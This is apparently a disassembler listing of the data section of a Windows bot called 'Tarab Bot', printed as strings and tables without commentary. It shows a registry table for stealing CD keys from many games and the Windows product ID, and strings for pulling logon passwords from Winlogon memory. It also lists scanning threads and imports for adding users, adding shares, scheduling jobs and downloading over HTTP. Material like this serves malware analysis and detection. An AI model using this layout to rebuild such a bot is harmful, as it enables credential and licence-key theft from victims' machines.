dword_42A4F0	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_4075B8+84o
		dd 2029671Fh, 2BBBB02h
aTarabBotIpSDSc	db ' Tarab Bot   IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
dword_42A548	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_4077CC+1E0o
		dd 2029671Fh, 2BBBB02h
aTarabBotFinish	db '  Tarab Bot  Finished at %s:%d after %d minute(s) of scanning.',0
		align 8
dword_42A5A8	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_4077CC+168o
		dd 2029671Fh, 2BBBB02h
aTarabBotFail_3	db '  Tarab Bot  Failed to start worker thread, error: <%d>.',0
		align 10h
unk_42A600	db    2			; DATA XREF: sub_4077CC+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
dword_42A648	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_4077CC+87o
		dd 2029671Fh, 2BBBB02h
aTarabBotFail_4	db '  Tarab Bot  Failed to initialize critical section.',0
unk_42A698	db    2			; DATA XREF: sub_407A23+143o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
		align 8
unk_42A6E8	db    2			; DATA XREF: sub_407A23+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42A740	db    2			; DATA XREF: sub_407BAA+157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_0	db '   Failed to start connection thread, error: <%d>.',0
unk_42A790	db    2			; DATA XREF: sub_407BAA+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_42A7E4	db    2			; DATA XREF: sub_407E2F+1B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server on Port %d.',0
		align 8
unk_42A828	db    2			; DATA XREF: sub_407E2F+17Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start client thread, error: <%d>.',0
unk_42A870	db    2			; DATA XREF: sub_407E2F+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 20h, 54h
aArabBotClientC	db 'arab Bot Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42A8CC	db    2			; DATA XREF: sub_407E2F+A8o
					; sub_40EC43+5E0Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStartedO	db 'Server started on: %s:%d.',0
		align 8
unk_42A908	db    2			; DATA XREF: sub_408033+1F9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42A958	db    2			; DATA XREF: sub_408033+18Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
		align 8
unk_42A9A8	db    2			; DATA XREF: sub_408033+F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4083F0+11o
aWindow		db 'Window',0           ; DATA XREF: sub_40862B+23o
					; sub_408824+26o
		align 8
		dd 80000001h
off_42AA0C	dd offset aSoftwareValveC ; DATA XREF: sub_408A63+Cr
					; sub_408A63+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_42AA18	dd 2 dup(0)		; DATA XREF: sub_408A63+26o
		dd 80000001h, 42BBB0h, 42BBA4h,	42BB94h, 2 dup(0)
		dd 80000001h, 42BB74h, 42BB70h,	42BB5Ch, 2 dup(0)
		dd 80000001h, 42BB38h, 42BB70h,	42BB2Ch, 2 dup(0)
		dd 80000001h, 42BB08h, 42BB00h,	42BAECh, 2 dup(0)
		dd 80000001h, 42BAD8h, 42BAC8h,	42BAACh, 2 dup(0)
		dd 80000001h, 42BA68h, 42BBF0h,	42BA54h, 2 dup(0)
		dd 80000002h, 42BA28h, 42BA1Ch,	42B9FCh, 2 dup(0)
		dd 80000002h, 42B9C8h, 42BBF0h,	42B9B0h, 2 dup(0)
		dd 80000002h, 42B97Ch, 42BBF0h,	42B964h, 2 dup(0)
		dd 80000002h, 42B94Ch, 42BBF0h,	42B934h, 2 dup(0)
		dd 80000002h, 42B8F8h, 43BCE8h,	42B8E8h, 2 dup(0)
		dd 80000002h, 42B8B0h, 43BCE8h,	42B89Ch, 2 dup(0)
		dd 80000002h, 42B850h, 43BCE8h,	42B830h, 2 dup(0)
		dd 80000002h, 42B7E0h, 43BCE8h,	42B7B0h, 2 dup(0)
		dd 80000002h, 42B774h, 43BCE8h,	42B760h, 2 dup(0)
		dd 80000002h, 42B728h, 43BCE8h,	42B718h, 2 dup(0)
		dd 80000002h, 42B6C8h, 43BCE8h,	42B698h, 2 dup(0)
		dd 80000002h, 42B658h, 43BCE8h,	42B638h, 2 dup(0)
		dd 80000002h, 42B608h, 43BCE8h,	42B5E8h, 2 dup(0)
		dd 80000002h, 42B5ACh, 43BCE8h,	42B598h, 2 dup(0)
		dd 80000002h, 42B550h, 43BCE8h,	42B52Ch, 2 dup(0)
		dd 80000002h, 42B4D8h, 43BCE8h,	42B4A8h, 2 dup(0)
		dd 80000002h, 42B458h, 43BCE8h,	42B42Ch, 2 dup(0)
		dd 80000002h, 42B3ECh, 42B3E4h,	42B3C4h, 2 dup(0)
		dd 80000002h, 42B380h, 43BCE8h,	42B364h, 2 dup(0)
		dd 80000002h, 42B318h, 43BCE8h,	42B2F4h, 2 dup(0)
		dd 80000002h, 42B2C0h, 43BCE8h,	42B2B4h, 2 dup(0)
		dd 80000002h, 42B280h, 43BCE8h,	42B274h, 2 dup(0)
		dd 80000002h, 42B240h, 43BCE8h,	42B234h, 2 dup(0)
		dd 80000002h, 42B200h, 43BCE8h,	42B1F4h, 2 dup(0)
		dd 80000002h, 42B1B8h, 43BCE8h,	42B1A4h, 2 dup(0)
		dd 80000002h, 42B168h, 43BCE8h,	42B154h, 2 dup(0)
		dd 80000002h, 42B124h, 42BBF0h,	42B108h, 2 dup(0)
		dd 80000002h, 42B0E8h, 42B0E0h,	42B0BCh, 2 dup(0)
		dd 80000002h, 42B0A0h, 42B0E0h,	42B080h, 2 dup(0)
		dd 80000002h, 42B060h, 42B0E0h,	42B03Ch, 2 dup(0)
		dd 80000002h, 42B024h, 42B0E0h,	42B020h, 2 dup(0)
		dd 80000002h, 42B004h, 42AFF4h,	42AFECh, 2 dup(0)
		dd 80000002h, 42AFB8h, 42AFB4h,	42AF9Ch, 2 dup(0)
		dd 80000002h, 42AF60h, 42AF54h,	42AF2Ch, 42AF1Ch, 42AF08h
		dd 80000002h, 42AEE4h, 42AED8h,	42AEC4h, 42AEB4h, 42AEACh
		dd 80000002h, 42AEE4h, 42AED8h,	42AE80h, 42AEB4h, 42AE78h
		dd 80000002h, 42AEE4h, 42AED8h,	42AE48h, 42AEB4h, 42AE40h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: .data:00430634o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 10h
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 10h
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 10h
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 10h
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 8
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 8
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 10h
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 10h
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 10h
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0042AA14o
aCdkey		db 'CDKey',0            ; DATA XREF: .data:0042AA10o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_42AA0Co
		align 10h
asc_42BC20:				; DATA XREF: sub_408A63+E7o
					; sub_408A63+F2o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408A63+8Fo
					; sub_40EC43:loc_4133E3o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408A63+7Eo
					; sub_408D2A+45o ...
		align 10h
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408A63+2Bo
		align 4
dword_42BC44	dd 72023602h, 28201F62h, 646E6966h, 656C6966h, 6C1F702Eh
					; DATA XREF: sub_408C12+C5o
		dd 2029671Fh, 2BBBB02h
aTarabBotFilesF	db '  Tarab Bot  Files found: %d.',0
		align 10h
dword_42BC80	dd 72023602h, 28201F62h, 646E6966h, 656C6966h, 6C1F702Eh
					; DATA XREF: sub_408C12+5Co
		dd 2029671Fh, 2BBBB02h
aTarabBotSearch	db '  Tarab Bot  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408D2A+107o
		align 4
aS_5		db '%s\*',0             ; DATA XREF: sub_408D2A+1Ao
		align 10h
dword_42BCE0	dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
					; DATA XREF: sub_408E7C:loc_408FF5o
		dd 2029671Fh, 2BBBB02h
aTarabBotFail_5	db '   Tarab Bot  Failed to enable Debug Privilege.',0
		align 10h
dword_42BD30	dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
					; DATA XREF: sub_408E7C:loc_408FC8o
		dd 2029671Fh, 2BBBB02h
aTarabBotUnable	db '   Tarab Bot  Unable to find Winlogon Process ID.',0
		align 10h
dword_42BD80	dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
					; DATA XREF: sub_408E7C:loc_408FC1o
		dd 2029671Fh, 2BBBB02h
aTarabBotUnab_0	db '   Tarab Bot  Unable to find the password in memory.',0
		align 8
dword_42BDD8	dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
					; DATA XREF: sub_408E7C+117o
		dd 2029671Fh, 2BBBB02h
aTarabBotTheWin	db '  Tarab Bot   The Windows logon (Pid: <%d>) information is: Domai'
		db 'n: \\%S, User: (%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_408E7C+DCo
		unicode	0, <USERDOMAIN>,0
		align 10h
aUsername:				; DATA XREF: sub_408E7C+CEo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_408E7C+9Ao
		align 10h
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_408E7C+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_408E7C+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_408E7C+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_408E7C+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_408E7C+55o
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_408E7C+40o
					; sub_408E7C+161o ...
		align 8
dword_42BF38	dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
					; DATA XREF: sub_408E7C+35o
		dd 2029671Fh, 2BBBB02h
aTarabBotOnlySu	db '   Tarab Bot  Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_40904E+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_40904E+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_40904E+AFo
		align 8
dword_42BFA8	dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
					; DATA XREF: sub_4094A8+70o
					; sub_40953F+C7o
		dd 2029671Fh, 2BBBB02h
aTarabBotTheW_0	db '   Tarab Bot  The Windows logon (Pid: <%d>) information is: Domai'
		db 'n: \\%S, User: (%S/%S).',0
		align 10h
dword_42C020	dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
					; DATA XREF: sub_40953F+E1o
		dd 2029671Fh, 2BBBB02h
aTarabBotTheW_1	db '   Tarab Bot  The Windows logon (Pid: <%d>) information is: Domai'
		db 'n: \\%S, User: (%S/(N/A)).',0
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409658+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409658+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409658:loc_40A293o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409658+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409658+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409658+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409658+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409658+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409658+BAAo
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409658:loc_40A1F5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409658+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409658+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409658:loc_40A1ABo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409658+B0Eo
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409658+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409658+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409658+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409658:loc_40A137o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409658+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409658+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409658:loc_40A0EDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409658+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409658+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409658:loc_40A0A3o
		align 10h
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409658+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409658+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409658+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409658+9A7o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409658+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409658+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409658+980o
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409658+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409658+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409658+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409658+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409658:loc_409F98o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409658+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409658+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409658+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409658:loc_409F39o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409658+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409658+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409658+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409658+828o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409658+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409658+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409658+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409658+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409658+7E7o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409658+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409658+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409658:loc_409E19o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409658+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409658+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409658+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409658+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409658+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409658+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409658+63Ao
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409658+62Do
					; .data:0042ED88o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409658+620o
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409658+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409658+60Bo
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409658+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409658+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409658+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_409658+5D2o
					; sub_40EC43+2196o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409658+5C5o
		align 4
